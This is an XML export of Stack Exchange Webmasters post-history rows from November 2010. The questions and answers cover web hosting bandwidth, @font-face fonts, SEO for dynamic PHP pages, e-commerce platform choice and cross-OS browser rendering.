  <row Id="11458" PostHistoryTypeId="2" PostId="5738" RevisionGUID="35ca129e-fb18-40ba-94d0-a4b00d9700ea" CreationDate="2010-11-21T18:26:24.997" UserId="2707" Text="I don't know what company you are using, but in my experience, most shared hosts that I've gone with give me unlimited bandwidth per month. Years ago, this would have made no sense, but today, it seems like common practice. The logic is this:&#xD;&#xA;&#xD;&#xA;&lt;ol&gt;&#xD;&#xA;&lt;li&gt;They can fit more customers on one box/VM than they could a couple years ago&lt;/li&gt;&#xD;&#xA;&lt;li&gt;More sites are built using database intensive CMSs, so if they have, say 20 GB of traffic a month, their site should lag enough for them to upgrade to our VPS hosting&lt;/li&gt;&#xD;&#xA;&lt;li&gt;By assigning a number or cap to bandwidth offered per month (like they have in your case), they can get people that are excited about their product to wonder if that number is high enough for their awesome product's site and maybe up sell them to an unlimited VPS or dedicated box&lt;/li&gt;&#xD;&#xA;&lt;/ol&gt;&#xD;&#xA;&#xD;&#xA;My suggestion to you is this: Look at other companies or plans. If you're hitting that much traffic per month constantly (which is a very good thing!), it makes no sense for you to overpay for their hosting if their just going to overcharge you. Thousands of hosting companies offer shared hosting with unlimited storage and bandwidth at probably the same price that you're paying right now.&#xD;&#xA;&#xD;&#xA;This may not be the answer you're looking for (I hate suggesting to dump everything that is working right now for something new), but this is a dollars and cents issue. If you had a cell phone plan with X number of text messages and you're a huge texting teen, would you rather continue paying the overage charge for the texts or go for the unlimited plan and save money?" />
  <row Id="11459" PostHistoryTypeId="5" PostId="5737" RevisionGUID="57934844-fe02-462c-9431-f514fe5f1405" CreationDate="2010-11-21T18:30:19.300" UserId="999" Comment="deleted 8 characters in body" Text="While I was attending this event (http://worldtour.fogcreek.com/) I noticed this page had custom fonts for the Address part in the top left corner (i.e &quot;Fog Creek Software 55 Broadway Fl 55....&quot;) When I looked at the source code I couldn't really determine what they were doing but it satisfied these conditions:&#xD;&#xA;&#xD;&#xA; 1. Works well with IE 7,8 (and all other browsers)&#xD;&#xA; 2. Allows you to use any font you want&#xD;&#xA; 3. Is text base, i.e no flash, images, etc.&#xD;&#xA;&#xD;&#xA;So what technique are they using here???&#xD;&#xA;" />
  <row Id="11460" PostHistoryTypeId="5" PostId="5737" RevisionGUID="97d39f94-dab0-4dd1-ae9b-ff4a7e6c5a54" CreationDate="2010-11-21T19:32:07.267" UserId="999" Comment="added 49 characters in body; edited tags" Text="While I was attending this event (http://worldtour.fogcreek.com/) I noticed this page had custom fonts for the Address part in the top left corner (i.e &quot;Fog Creek Software 55 Broadway Fl 55....&quot;) When I looked at the source code I couldn't really determine what they were doing but it satisfied these conditions:&#xD;&#xA;&#xD;&#xA; 1. Works well with IE 7,8 (and all other browsers)&#xD;&#xA; 2. Allows you to use any font you want&#xD;&#xA; 3. Is text base, i.e no flash, images, etc. Thus it is better for SEO and indexing and such.&#xD;&#xA;&#xD;&#xA;So what technique are they using here???&#xD;&#xA;" />
  <row Id="11461" PostHistoryTypeId="6" PostId="5737" RevisionGUID="97d39f94-dab0-4dd1-ae9b-ff4a7e6c5a54" CreationDate="2010-11-21T19:32:07.267" UserId="999" Comment="added 49 characters in body; edited tags" Text="&lt;seo&gt;&lt;html&gt;&lt;css&gt;&lt;web-development&gt;&lt;website-design&gt;" />
  <row Id="11462" PostHistoryTypeId="2" PostId="5739" RevisionGUID="10b8af41-1e6e-47b4-8248-301e688da5ad" CreationDate="2010-11-21T20:24:15.387" UserId="3391" Text="This website uses a font technique called WOFF (World Open Font Format). It is currently being standardized on a recommendation by W3C. It enables fonts to be directly embedded in web pages.&#xD;&#xA;&#xD;&#xA;[http://en.wikipedia.org/wiki/Web_Open_Font_Format][1]&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Web_Open_Font_Format&#xD;&#xA;&#xD;&#xA;Have a read. Seems to be a very interesting concept and is beginning to become widely accepted even though it was on drafted last year." />
  <row Id="11463" PostHistoryTypeId="2" PostId="5740" RevisionGUID="56461101-2a22-4d06-98b1-84be275c41f2" CreationDate="2010-11-21T21:57:52.530" UserId="1064" Text="Here is a list of [All cPanel Partners][1] - you'll find many options* for just about any location.&#xD;&#xA;&#xD;&#xA;I counted 9-10 hosts with &quot;UK&quot; in their company name, but search on &quot;United Kingdom&quot; (41 results) to get more results.&#xD;&#xA;&#xD;&#xA;*&#xD;&#xA;Note: &quot;Unlimited&quot; anything is a marketing gimmick - I would wager you'll be much better off working with a host which is up-front about its policies and practices.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.cpanel.net/apps/partners/partner-lookup.cgi?showall=1" />
  <row Id="11464" PostHistoryTypeId="2" PostId="5741" RevisionGUID="ddc87eeb-09cb-4520-8a54-b4c9b578fe38" CreationDate="2010-11-21T22:54:39.737" UserId="3393" Text="Take a look at this [AnythingSlider][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://css-tricks.com/examples/AnythingSlider/" />
  <row Id="11465" PostHistoryTypeId="2" PostId="5742" RevisionGUID="a23e059a-8dcc-4388-bb32-c3461c654bb0" CreationDate="2010-11-22T00:04:22.503" UserId="3381" Text="Nivo Slider is my Favorite: http://nivo.dev7studios.com/" />
  <row Id="11466" PostHistoryTypeId="2" PostId="5743" RevisionGUID="78f2c630-a914-421e-a9f9-8a382902c089" CreationDate="2010-11-22T01:10:13.253" UserId="2707" Text="They are using the `@font-face` technique. By using a variety of files and some pseudo browser detection they are able to serve font's consistently in all browsers. The use:&#xD;&#xA;&lt;ul&gt;&#xD;&#xA;&lt;li&gt;True Type and WOFF for Webkit, Gecko, and Opera&lt;/li&gt;&#xD;&#xA;&lt;li&gt;EOT for Internet Explorer&lt;/li&gt;&#xD;&#xA;&lt;li&gt;SVG for iOS&lt;/li&gt;&#xD;&#xA;&lt;/ul&gt;&#xD;&#xA;Because of the way the CSS is structured, it will check to see if the font is avilable locally, if it's not and it's IE, it will use the EOT and not load anything else. And if it's not IE it will load the font it will need.&#xD;&#xA;&#xD;&#xA;Check out &lt;a href=&quot;http://www.fontsquirrel.com/fontface&quot;&gt;Font Squirrel&lt;/a&gt; for more info and @font-face kit's and a generator of @font-face fonts and CSS." />
  <row Id="11467" PostHistoryTypeId="2" PostId="5744" RevisionGUID="0491ec9f-813e-4fc9-932d-b85ca5e922c5" CreationDate="2010-11-22T02:48:01.557" UserId="1757" Text="I prefer to use email tags as they require no setup and only require action if you want to block them. Therefore you can use them more casually and still determine the source of any spam emails. All you have to do is put `+sometag` after your &quot;local-part&quot;, e.g.&#xD;&#xA;&#xD;&#xA;    john+sketchy-mailing-list@smith.tld&#xD;&#xA;&#xD;&#xA;In this case, `sketchy-mailing-list` is the tag. So when you see spam e-mails sent to `john+sketchy-mailing-list@smith.tld`, you know it was the Sketchy Mailing List Company that sold your email address to spammers. Then you can block all emails with that tag and report the spammers and complicit companies to the proper authorities." />
  <row Id="11468" PostHistoryTypeId="2" PostId="5745" RevisionGUID="5454c6c0-7b12-49f7-a9c2-21048474caf3" CreationDate="2010-11-22T04:07:57.230" UserId="3371" Text="I would try recurly. . . that is what we are going to use for our subscription service." />
  <row Id="11469" PostHistoryTypeId="2" PostId="5746" RevisionGUID="ecc2da4b-d861-422c-8991-2b7fea071821" CreationDate="2010-11-22T04:10:12.437" UserId="3371" Text="Do you think that subscription based sites, that offer software as a service model, should be marketed differently than a content specific site.  Beyond contacting bloggers, blogging yourself, and going to trade shows and events, how would you directly engage a paying client base to &quot;spread the word&quot; beyond affiliate marketing stuff?" />
  <row Id="11470" PostHistoryTypeId="1" PostId="5746" RevisionGUID="ecc2da4b-d861-422c-8991-2b7fea071821" CreationDate="2010-11-22T04:10:12.437" UserId="3371" Text="Would you go about marketing a subscription based site differently?" />
  <row Id="11471" PostHistoryTypeId="3" PostId="5746" RevisionGUID="ecc2da4b-d861-422c-8991-2b7fea071821" CreationDate="2010-11-22T04:10:12.437" UserId="3371" Text="&lt;marketing&gt;" />
  <row Id="11472" PostHistoryTypeId="2" PostId="5747" RevisionGUID="30773900-f78c-4b6d-907c-161166230fa6" CreationDate="2010-11-22T08:56:35.110" UserId="3175" Text="I am currently using Google webmaster tools. I submitted my sitemap using their tool, etc.&#xD;&#xA;I am aware of the fact that Yahoo and Bing offer theit own webmaster tools section.&#xD;&#xA;&#xD;&#xA;Can I use all three sites' tools or should I pick one of them and stick with it?&#xD;&#xA;&#xD;&#xA;Do not know if there is any kind of penalty for using many tools?" />
  <row Id="11473" PostHistoryTypeId="1" PostId="5747" RevisionGUID="30773900-f78c-4b6d-907c-161166230fa6" CreationDate="2010-11-22T08:56:35.110" UserId="3175" Text="Webmaster tools with Google, Yahoo and Bing" />
  <row Id="11474" PostHistoryTypeId="3" PostId="5747" RevisionGUID="30773900-f78c-4b6d-907c-161166230fa6" CreationDate="2010-11-22T08:56:35.110" UserId="3175" Text="&lt;seo&gt;&lt;webmaster-tools&gt;" />
  <row Id="11475" PostHistoryTypeId="2" PostId="5748" RevisionGUID="caa9424d-30aa-4677-bd4e-7bbdfa64ff1f" CreationDate="2010-11-22T09:05:05.920" UserId="1089" Text="[I asked][1] a while ago if it was ok to have multiple accounts of the same &quot;brand&quot; of webmasters tools (i.e. 2 google accounts on one website - one for me one for an SEO company brought in) and it was ok.&#xD;&#xA;&#xD;&#xA;I personally only use google - which generates 80% of our traffic. But I can't imagine a situation where using yahoo/bing/google on the same website will cause any problems.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/5268/multiple-webmaster-tools-accounts-on-website" />
  <row Id="11477" PostHistoryTypeId="2" PostId="5749" RevisionGUID="1e87d7f6-9e93-4559-ad40-19294b6ee3a2" CreationDate="2010-11-22T09:15:18.247" UserId="3398" Text="My boss asked me to setup a secured area online, which will contain all the FTP, MySQL etc details related to our web products. This online area must be secured and will only be accessible by the user we define.&#xD;&#xA;&#xD;&#xA;It should be easy to understand and should have functionality to download details in PDF or in word format etc.&#xD;&#xA;&#xD;&#xA;And should be able to handle following type of scenario:&#xD;&#xA;A client has 10 websites so we'll need to store FTP, MYSQL etc details related to 10 websites, so CMS should be able to accept and present the data in easy way.&#xD;&#xA;&#xD;&#xA;Do anyone has any suggestions for me to handle such kind scenario.&#xD;&#xA;&#xD;&#xA;Please help. Thanks!" />
  <row Id="11478" PostHistoryTypeId="1" PostId="5749" RevisionGUID="1e87d7f6-9e93-4559-ad40-19294b6ee3a2" CreationDate="2010-11-22T09:15:18.247" UserId="3398" Text="Administrative and secured CMS for storing secret credentials?" />
  <row Id="11479" PostHistoryTypeId="3" PostId="5749" RevisionGUID="1e87d7f6-9e93-4559-ad40-19294b6ee3a2" CreationDate="2010-11-22T09:15:18.247" UserId="3398" Text="&lt;cms&gt;&lt;open-source&gt;" />
  <row Id="11480" PostHistoryTypeId="2" PostId="5750" RevisionGUID="22426895-911c-491d-85d7-63bca1acf904" CreationDate="2010-11-22T10:56:40.007" UserId="2237" Text="I don't think it would be that much different really. I would still have a on-topic blog and use that to help engage others in the domain - so it's still a content site in that respect. &#xD;&#xA;&#xD;&#xA;To get customers to spread the word you'd have to follow Seth Godin's advice: do something remarkable.  You don't have to do something unique but you do have to do something that makes people take notice and *want* to tell their friends about it." />
  <row Id="11481" PostHistoryTypeId="2" PostId="5751" RevisionGUID="5b83882b-77c6-4b2c-a586-ed909bfa3221" CreationDate="2010-11-22T11:00:37.963" UserId="2237" Text="You want the Font Finder add-on for Firefox:&#xD;&#xA;&#xD;&#xA;https://addons.mozilla.org/en-US/firefox/addon/4415/&#xD;&#xA;&#xD;&#xA;Lets you click on some text on a webpage and shows you the font information for that text - including which font has been selected from the family.&#xD;&#xA;&#xD;&#xA;I've been using it for ages and it's very useful.&#xD;&#xA;" />
  <row Id="11482" PostHistoryTypeId="2" PostId="5752" RevisionGUID="1dc0a9cd-6055-40f4-9edf-faed7699baf1" CreationDate="2010-11-22T11:04:04.887" UserId="2237" Text="I've only used Linode so I can't compare against the others but have to say that I've been over the moon with their service and uptime in the year I've been hosting with them. No problems at all and their replies to my query-tickets were fast and thorough. &#xD;&#xA;&#xD;&#xA;" />
  <row Id="11483" PostHistoryTypeId="2" PostId="5753" RevisionGUID="b00d6da3-91aa-4919-9b88-64fd430e5b7e" CreationDate="2010-11-22T11:51:33.007" UserId="2043" Text="Maybe you can help me identify a scalable (and appropriate) eCommerce platform for a client of ours, looking to enhance their online sales. I've read the [ecommerce guidelines][1] here and am looking to further explore this, relative to my specific situation.&#xD;&#xA;&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;**A little background information:**&#xD;&#xA;&#xD;&#xA;*The company's main focus has been selling to retailers, boutiques, etc., but is now looking to sell directly to the consumer--which is where I come in... to re-design their site (currently a quasi-eCommerce, quasi-informational page) into a full blown eCommerce site--quality wise (not necessarily feature wise) on par with Amazon. I'm doing my homework to isolate the best options for the entire team to evaluate.*&#xD;&#xA;&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;I'm a CSS ninja and blossoming web developer, but still fairly new to eCommerce, so I'd love to get the StackExchange community's feedback.&#xD;&#xA;&#xD;&#xA; - I'm curious to find out the pros&#xD;&#xA;   and cons (with a particular interest in security, and scalability) of a hosted platform (eg.&#xD;&#xA;   3dcart), versus a self-hosted platform&#xD;&#xA;   (eg. ZenCart). For example, is it worth paying $250/mo. for Magento's 'professional' edition... furthermore, how difficult is it to implement/customize their 'community edition?'&#xD;&#xA;&#xD;&#xA; - What are the headaches associate with the best options; maintenance, versatility, community/customer support, etc.&#xD;&#xA; - Uptime and server responsiveness. Do paid hosted solutions offer high grade servers, or is a dedicated server and do-it-yourself approach better?&#xD;&#xA;&#xD;&#xA;This are just some of the questions that are coming to mind, but hopefully you can see the overarching theme of where I'm coming from, offer some advice, and suggest some platforms to explore.&#xD;&#xA;&#xD;&#xA;**Keep in mind our target launch is Jan. 1st, and I've never worked with any of these platforms (other than 3dcart briefly)--but if some help from a specialist needs to be factored into the budget, that isn't completely out of the question.** This also suggests to me that having a paid solution could be helpful, having a 'customer/technical support' team available.&#xD;&#xA;&#xD;&#xA;We don't know how successful this endeavor will be, and currently my client receives 200 hits with a handful of sales daily; should our vision succeed, their daily traffic and sales should jump substantially... and we want to be prepared for this and not have pursued an eCommerce solution that cannot easily scale.&#xD;&#xA;&#xD;&#xA;I earnestly appreciate your time, and look forward to anyone's input!&#xD;&#xA;&#xD;&#xA;Julian&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/4781/ecommerce-website-development-guidelines" />
  <row Id="11484" PostHistoryTypeId="1" PostId="5753" RevisionGUID="b00d6da3-91aa-4919-9b88-64fd430e5b7e" CreationDate="2010-11-22T11:51:33.007" UserId="2043" Text="How to identify a scalable (and appropriate) eCommerce platform for a medium-sized company?" />
  <row Id="11485" PostHistoryTypeId="3" PostId="5753" RevisionGUID="b00d6da3-91aa-4919-9b88-64fd430e5b7e" CreationDate="2010-11-22T11:51:33.007" UserId="2043" Text="&lt;web-hosting&gt;&lt;ecommerce&gt;" />
  <row Id="11486" PostHistoryTypeId="5" PostId="5753" RevisionGUID="37e5e8c7-87e3-4143-992a-a656d2311491" CreationDate="2010-11-22T11:58:23.393" UserId="2043" Comment="added 749 characters in body" Text="Maybe you can help me identify a scalable (and appropriate) eCommerce platform for a client of ours, looking to enhance their online sales. I've read the [ecommerce guidelines][1] here and am looking to further explore this, relative to my specific situation.&#xD;&#xA;&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;**A little background information:**&#xD;&#xA;&#xD;&#xA;*The company's main focus has been selling to retailers, boutiques, etc., but is now looking to sell directly to the consumer--which is where I come in... to re-design their site (currently a quasi-eCommerce, quasi-informational page) into a full blown eCommerce site--quality wise (not necessarily feature wise) on par with Amazon. I'm doing my homework to isolate the best options for the entire team to evaluate.*&#xD;&#xA;&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;I'm a CSS ninja and blossoming web developer, but still fairly new to eCommerce, so I'd love to get the StackExchange community's feedback.&#xD;&#xA;&#xD;&#xA; - I'm curious to find out the pros&#xD;&#xA;   and cons (with a particular interest in security, and scalability) of a hosted platform (eg.&#xD;&#xA;   3dcart), versus a self-hosted platform&#xD;&#xA;   (eg. ZenCart). For example, is it worth paying $250/mo. for Magento's 'professional' edition... furthermore, how difficult is it to implement/customize their 'community edition?'&#xD;&#xA;&#xD;&#xA; - What are the headaches associate with the best options; maintenance, versatility, community/customer support, etc.&#xD;&#xA; - Uptime and server responsiveness. Do paid hosted solutions offer high grade servers, or is a dedicated server and do-it-yourself approach better?&#xD;&#xA;&#xD;&#xA;This are just some of the questions that are coming to mind, but hopefully you can see the overarching theme of where I'm coming from, offer some advice, and suggest some platforms to explore.&#xD;&#xA;&#xD;&#xA;**Here are some features/notes:**&#xD;&#xA;&#xD;&#xA;- Inventory is currently done manually (due to sales currently being so modest,) but I imagine data feed / accounting integration will be need to be available.&#xD;&#xA;&#xD;&#xA;- The site will need to be available in **multiple languages**&#xD;&#xA;&#xD;&#xA;- Payment processing is currently handled internally, because inventory is **not automated**, which suggests inventory management is another key factor to take into consideration (my client was quoted $20,000 to integrate inventory management... I think we can do much better than that;) as I currently understand, the issue is that not all sales are done online.&#xD;&#xA;&#xD;&#xA;- Promotion support, user-reviews, product ratings, and a fully customizable front-end are just about mandatory.&#xD;&#xA;&#xD;&#xA;Keep in mind our **target launch is Jan. 1st**, and I've never worked with any of these platforms (other than 3dcart briefly)--but if some help from a specialist needs to be factored into the budget, that isn't completely out of the question. This also suggests to me that having a paid solution could be helpful, having a 'customer/technical support' team available.&#xD;&#xA;&#xD;&#xA;We don't know how successful this endeavor will be, and currently my client receives 200 hits with a handful of sales daily; should our vision succeed, their daily traffic and sales should jump substantially... and we want to be prepared for this and not have pursued an eCommerce solution that cannot easily scale.&#xD;&#xA;&#xD;&#xA;I earnestly appreciate your time, and look forward to anyone's input!&#xD;&#xA;&#xD;&#xA;Julian&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/4781/ecommerce-website-development-guidelines" />
  <row Id="11487" PostHistoryTypeId="2" PostId="5754" RevisionGUID="5a4c1573-49e0-46c5-9a3c-4695177c02c6" CreationDate="2010-11-22T12:01:45.740" UserId="3374" Text="Although i asked about SEO for dynamic pages, and got right answer, I seriously forgot to mention the most important thing that i want to know.&#xD;&#xA;&#xD;&#xA;Suppose i have following php line of code&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;title php echo $title; /title&#xD;&#xA;&#xD;&#xA;meta name=&quot;description&quot; content=&quot;php echo $description; &quot; /&#xD;&#xA;&#xD;&#xA;meta name=&quot;keywords&quot; content=&quot;php echo $keywords; &quot; /&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;note: tags are stripped&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;where the variable represent the their values generated from a database.&#xD;&#xA;Now, there are two simple plain and stupid question i want to ask&#xD;&#xA;&#xD;&#xA;1. Will search engine crawl this dynamically generated page as a normal static page with these values static.&#xD;&#xA;&#xD;&#xA;2. I don't know for some reason i think search engine don't do. But for example, when ever i type some question, i get the answer on stackoverflow website. I think the questions and answers are stored in database but how does a search engine find the page and display the title and description of the page stored in page. Or is it that stackoverflow generates a static page for each and every question that can be edited.&#xD;&#xA;&#xD;&#xA;regards" />
  <row Id="11488" PostHistoryTypeId="1" PostId="5754" RevisionGUID="5a4c1573-49e0-46c5-9a3c-4695177c02c6" CreationDate="2010-11-22T12:01:45.740" UserId="3374" Text="Will seach engine determine the page title and meta tags content dynamically generated in a CMS" />
  <row Id="11489" PostHistoryTypeId="3" PostId="5754" RevisionGUID="5a4c1573-49e0-46c5-9a3c-4695177c02c6" CreationDate="2010-11-22T12:01:45.740" UserId="3374" Text="&lt;seo&gt;" />
  <row Id="11490" PostHistoryTypeId="2" PostId="5755" RevisionGUID="39c9d76b-f37f-4a9e-b542-2722134de9ed" CreationDate="2010-11-22T12:17:43.270" UserId="2293" Text="I think you already have your answer on your previous SEO question.&#xD;&#xA;&#xD;&#xA;But let's go for your anwsers:&#xD;&#xA;&#xD;&#xA;1. Yes, search engines cannot really determine from where data it is seem came. They see only plain HTML. What they see is what they index. To have a better idea, just look at the generated HTML source code. That is what crawlers see and process. Nothing further.&#xD;&#xA;&#xD;&#xA;2. This is a valid example for your question. But keep in mind that only in a few cases the title tag is changed. In articles it is even more rare the title change. Also we all avoid changing title. When this happen, happen at most just once.&#xD;&#xA;&#xD;&#xA;Hope you got the points." />
  <row Id="11491" PostHistoryTypeId="5" PostId="5753" RevisionGUID="6cd7d234-c6b8-47b5-b606-947f056cd69e" CreationDate="2010-11-22T12:34:02.630" UserId="2043" Comment="deleted 2 characters in body" Text="Maybe you can help me identify a scalable (and appropriate) eCommerce platform for a client of ours, looking to enhance their online sales. I've read the [ecommerce guidelines][1] here and am looking to further explore this, relative to my specific situation.&#xD;&#xA;&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;**A little background information:**&#xD;&#xA;&#xD;&#xA;*The company's main focus has been selling to retailers, boutiques, etc., but is now looking to sell directly to the consumer--which is where I come in... to re-design their site (currently a quasi-eCommerce, quasi-informational page) into a full blown eCommerce site--quality wise (not necessarily feature wise) on par with Amazon. I'm doing my homework to isolate the best options for the entire team to evaluate.*&#xD;&#xA;&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;I'm a CSS ninja and blossoming web developer, but still fairly new to eCommerce, so I'd love to get the StackExchange community's feedback.&#xD;&#xA;&#xD;&#xA; - I'm curious to find out the pros&#xD;&#xA;   and cons (with a particular interest in security, and scalability) of a hosted platform (eg.&#xD;&#xA;   3dcart), versus an open-source platform&#xD;&#xA;   (eg. Prestashop). For example, is it worth paying $250/mo. for Magento's 'professional' edition? How do Opencart and Prestashop compare with 3dcart for a medium-sized company?&#xD;&#xA;&#xD;&#xA; - What are the headaches associate with the best options; maintenance, versatility, community/customer support, etc.&#xD;&#xA; - Uptime and server responsiveness. Do paid hosted solutions offer high grade servers, or is a dedicated server and do-it-yourself approach better?&#xD;&#xA;&#xD;&#xA;This are just some of the questions that are coming to mind, but hopefully you can see the overarching theme of where I'm coming from, offer some advice, and suggest some platforms to explore.&#xD;&#xA;&#xD;&#xA;**Here are some features/notes:**&#xD;&#xA;&#xD;&#xA;- Inventory is currently done manually (due to sales currently being so modest,) but I imagine data feed / accounting integration will be need to be available.&#xD;&#xA;&#xD;&#xA;- The site will need to be available in **multiple languages**&#xD;&#xA;&#xD;&#xA;- Payment processing is currently handled internally, because inventory is **not automated**, which suggests inventory management is another key factor to take into consideration (my client was quoted $20,000 to integrate inventory management... I think we can do much better than that;) as I currently understand, the issue is that not all sales are done online.&#xD;&#xA;&#xD;&#xA;- Promotion support, user-reviews, product ratings, and a fully customizable front-end are just about mandatory.&#xD;&#xA;&#xD;&#xA;Keep in mind our **target launch is Jan. 1st**, and I've never worked with any of these platforms (other than 3dcart briefly)--but if some help from a specialist needs to be factored into the budget, that isn't completely out of the question. This also suggests to me that having a paid solution could be helpful, having a 'customer/technical support' team available.&#xD;&#xA;&#xD;&#xA;We don't know how successful this endeavor will be, and currently my client receives 200 hits with a handful of sales daily; should our vision succeed, their daily traffic and sales should jump substantially... and we want to be prepared for this and not have pursued an eCommerce solution that cannot easily scale.&#xD;&#xA;&#xD;&#xA;I earnestly appreciate your time, and look forward to anyone's input!&#xD;&#xA;&#xD;&#xA;Julian&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/4781/ecommerce-website-development-guidelines" />
  <row Id="11492" PostHistoryTypeId="2" PostId="5756" RevisionGUID="efae0de1-3d37-4f71-9d8a-58feb9cc3134" CreationDate="2010-11-22T12:42:14.767" UserId="1953" Text="I'd be sure to offer free trials/demos so people can see the value first hand. Create videos of how to solve common pain points quickly by using your software." />
  <row Id="11493" PostHistoryTypeId="2" PostId="5757" RevisionGUID="bf24c21c-17fc-4350-aeac-6be46e9e981c" CreationDate="2010-11-22T12:57:03.663" UserId="1253" Text="You can use all three tools without penalty or issue. There's absolutely no reason for a search engine to levy a penalty on a website that uses tools that has no direct effect on the website itself (i.e. these tools aren't altering your code or using &quot;techniques&quot; to manipulate the search results). These tools are just informative. Nothing nefarious about them." />
  <row Id="11494" PostHistoryTypeId="2" PostId="5758" RevisionGUID="cc480b58-29e1-4ab8-9669-b4f9d5ed7905" CreationDate="2010-11-22T13:08:37.713" UserId="233" Text="Methinks you need to learn a little more about how the internet works. When you request a URL from a server, the server returns a string of plain HTML. The server does not return PHP code. Your browser does not know whether the page is dynamically generated or served from a static file. It doesn't matter to them, they just want HTML to display. You get the same response either way.&#xD;&#xA;&#xD;&#xA;So it follows that your PHP code: `&lt;title&gt;&lt;?php echo $title; ?&gt;&lt;/title&gt;` isn't returned, but the PHP bit is replaced by the `$title` variable. So if the title is &quot;Hello World&quot;, anyone requesting that page only sees `&lt;title&gt;Hello World&lt;/title&gt;` in the HTML.&#xD;&#xA;&#xD;&#xA;So to your questions:&#xD;&#xA;&#xD;&#xA;1. Yes, browsers and search engines alike only see HTML code.&#xD;&#xA;2. Yes, the content is stored in the database. But on every URL you visit on the site, SO generates a complete HTML page (often it will be cached but it makes no difference). Go to a page and view the source in your browser, you will see exactly the same as what search engines see." />
  <row Id="11495" PostHistoryTypeId="2" PostId="5760" RevisionGUID="35c809d8-c291-4443-bbd2-4efe9213e8ff" CreationDate="2010-11-18T04:47:30.597" UserId="3303" Text="I have experienced subtle differences (not just font related) between Firefox on Windows and Firefox on Mac as well as  differences on Safari between Windows and Mac as well.&#xD;&#xA;&#xD;&#xA;I once had a two column layout look fine on win FF but on mac FF the second column appeared below the first.  I had to decrease the width or margin/padding on it to make it align properly.&#xD;&#xA;&#xD;&#xA;Differences between them are typically rare, however I highly recommend testing on as many platforms as you have access to.&#xD;&#xA;" />
  <row Id="11496" PostHistoryTypeId="2" PostId="5759" RevisionGUID="393ee945-d34f-4599-aad8-7d07d25cff5b" CreationDate="2010-11-18T04:19:08.147" UserId="2524" Text="Perhaps this belongs on superuser, but I'll try here on stackoverflow first&#xD;&#xA;&#xD;&#xA;I develop on Ubuntu and was wondering if it's safe to assume that my site will look the same in, say, Chrome, _when viewed on a Mac or Windows system_, as it does when viewed on a Linux machine in the **same browser**.&#xD;&#xA;&#xD;&#xA;I'm not talking about cross-browser problems here, but rather **cross-operating-system browser issues**&#xD;&#xA;&#xD;&#xA;I guess that all Linux users know to be sure to include some [Linux safe fonts](http://mondaybynoon.com/2007/04/02/linux-font-equivalents-to-popular-web-typefaces/) in their [font-stack](http://www.codestyle.org/servlets/FontStack?stack=Helvetica%2CFreeSans%2CNimbus+Sans+L%2CLiberation+Sans%2CDejaVu+Sans%2CTrebuchet+MS%2CArial&amp;generic=sans-serif&amp;font-size=large&amp;x=6&amp;y=10) cos we don't all have Helvetica, Arial, Verdana, Tahoma and the lovely Trebuchet MS installed by default, but is there anything else?&#xD;&#xA;&#xD;&#xA;I understand (and fully expect) that **our favourite browser** (IE), doesn't work the same under Wine as it does in Windows but I'd hope that other browsers do&#xD;&#xA;" />
  <row Id="11497" PostHistoryTypeId="1" PostId="5759" RevisionGUID="393ee945-d34f-4599-aad8-7d07d25cff5b" CreationDate="2010-11-18T04:19:08.147" UserId="2524" Text="Are there any cross-operating-system, cross-browser bugs of which web-programmers should be aware?" />
  <row Id="11498" PostHistoryTypeId="3" PostId="5759" RevisionGUID="393ee945-d34f-4599-aad8-7d07d25cff5b" CreationDate="2010-11-18T04:19:08.147" UserId="2524" Text="&lt;html&gt;&lt;css&gt;&lt;web-development&gt;&lt;cross-browser&gt;&lt;cross-platform&gt;" />
  <row Id="11499" PostHistoryTypeId="17" PostId="5759" RevisionGUID="6ef9adde-2c58-4213-bd2c-37bd56457542" CreationDate="2010-11-22T14:00:53.813" UserId="-1" Comment="from http://stackoverflow.com/questions/4211649/are-there-any-cross-operating-system-cross-browser-bugs-of-which-web-programmers" Text="" />
  <row Id="11500" PostHistoryTypeId="2" PostId="5761" RevisionGUID="3fdd53fa-6aca-41f7-b59e-3aefab0b9d09" CreationDate="2010-11-22T14:52:44.997" UserId="1757" Text="I've recently run up against a similar problem to RDL. A side column in one of my layouts is set to float right, and has enough space to sit along side the main column, but on Safari it gets pushed below.&#xD;&#xA;&#xD;&#xA;I've tried adding extra space for the column, but it doesn't have any effect. What I eventually determined was that a jQuery plugin I was using to create a slideshow inside that column was causing the issue, although it works just fine in IE, Opera, and Firefox on Windows.&#xD;&#xA;&#xD;&#xA;I've as yet been unable to identify the exact bug that is causing this since I don't own a Mac, so I don't really know the name of the bug or what precisely is causing it. But I'm gonna see if it can be replicated in Chrome or Safari for Windows." />
  <row Id="11501" PostHistoryTypeId="2" PostId="5762" RevisionGUID="e7e2e6fe-ea39-4833-aa78-1b0b8f33d65b" CreationDate="2010-11-22T15:00:55.003" UserId="2293" Text="If you mean about only HTML and CSS issues, the major difference is the layout engine render process.&#xD;&#xA;&#xD;&#xA;Windows have one way to process the graphics, different than UNIX/Linux, which by its turn is different from Mac OS X. Graphic drivers and windowing system has a role into this process, but the key point is the fonts parser/server.&#xD;&#xA;&#xD;&#xA;Even within Linux, font rendering by OS is different for Firefox, Opera and Chrome, what causes them to display differently fonts and boxes (if boxes measures are in em, ex, or another font-dependent unit)." />
